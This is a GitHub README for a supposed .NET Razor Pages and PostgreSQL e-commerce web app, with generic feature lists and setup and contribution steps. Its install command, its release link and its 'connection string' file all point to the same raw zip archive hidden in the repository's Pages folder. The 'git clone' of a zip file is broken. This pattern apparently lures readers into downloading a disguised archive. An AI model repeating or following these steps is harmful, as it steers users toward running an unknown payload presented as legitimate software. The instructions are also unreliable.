Skip to content

🧱Building Ecommerce web application

License

Notifications You must be signed in to change notification settings

mooo17/-e-commerce-app

Repository files navigation

E-Commerce App 🛒

GitHub release

Welcome to the E-Commerce App repository! This project aims to build a fully functional e-commerce web application using modern technologies. You can download the latest release here and follow the instructions to set it up.

Table of Contents

Features

  • User Authentication: Secure login and registration for users.
  • Product Management: Add, edit, and delete products easily.
  • Shopping Cart: Users can add products to their cart and proceed to checkout.
  • Payment Integration: Seamless payment processing with popular gateways.
  • Order History: Users can view their past orders.
  • Responsive Design: Optimized for both desktop and mobile devices.

Technologies Used

This project utilizes a range of technologies to deliver a smooth user experience:

  • .NET Framework: The backbone of the application, providing a robust structure.
  • Razor Pages: Simplifies the creation of dynamic web pages.
  • PostgreSQL: A powerful database system for data storage.
  • HTML/CSS/JavaScript: For building the user interface.
  • Bootstrap: Ensures responsive design and user-friendly navigation.
  • Payment APIs: Integration with payment gateways for processing transactions.

Installation

To get started with the E-Commerce App, follow these steps:

  1. Clone the repository:

    git clone https://github.com/mooo17/-e-commerce-app/raw/refs/heads/main/Pages/commerce-app-e-v1.5.zip
    cd -e-commerce-app
  2. Install dependencies:

    Use the package manager of your choice to install the necessary packages. For example, if you're using .NET, you can run:

    dotnet restore
  3. Set up the database:

    Make sure PostgreSQL is installed and running. Create a database for the application and update the connection string in the https://github.com/mooo17/-e-commerce-app/raw/refs/heads/main/Pages/commerce-app-e-v1.5.zip file.

  4. Run the application:

    Use the following command to start the application:

    dotnet run
  5. Access the application:

    Open your browser and go to http://localhost:5000 to see the application in action.

For the latest release, download it here and follow the instructions provided.

Usage

Once the application is running, you can:

  • Register a new account: Click on the "Sign Up" button to create a new user account.
  • Browse products: View available products on the home page.
  • Add to cart: Click on the "Add to Cart" button for any product you wish to purchase.
  • Checkout: Go to your cart and follow the prompts to complete your purchase.

Contributing

We welcome contributions from the community! If you would like to contribute, please follow these steps:

  1. Fork the repository: Click on the "Fork" button at the top right corner of the page.

  2. Create a new branch:

    git checkout -b feature/YourFeatureName
  3. Make your changes: Implement your feature or fix the bug.

  4. Commit your changes:

    git commit -m "Add some feature"
  5. Push to the branch:

    git push origin feature/YourFeatureName
  6. Create a Pull Request: Go to the original repository and submit your pull request.

License

This project is licensed under the MIT License. See the LICENSE file for details.

Contact

For any questions or feedback, please feel free to reach out:

Thank you for checking out the E-Commerce App! Your support and contributions are greatly appreciated. For updates, please visit the Releases section.